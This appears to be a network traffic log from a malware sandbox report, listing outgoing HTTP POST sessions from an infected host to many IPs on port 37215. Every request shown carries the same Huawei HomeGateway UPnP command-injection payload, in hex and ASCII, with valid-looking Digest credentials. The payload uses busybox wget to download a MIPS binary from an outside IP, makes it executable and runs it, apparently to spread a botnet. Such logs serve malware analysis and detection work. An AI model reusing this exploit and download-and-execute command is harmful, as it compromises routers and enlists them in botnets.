Dec 30, 2023 07:17:07.726476908 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:13.613666058 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	46408	154.215.65.242	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:17:02.919873953 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:04.494785070 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:06.350545883 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:10.030011892 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	52216	94.123.1.160	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:17:09.551662922 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	52936	154.215.107.75	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:17:09.579045057 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:17:11.149858952 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
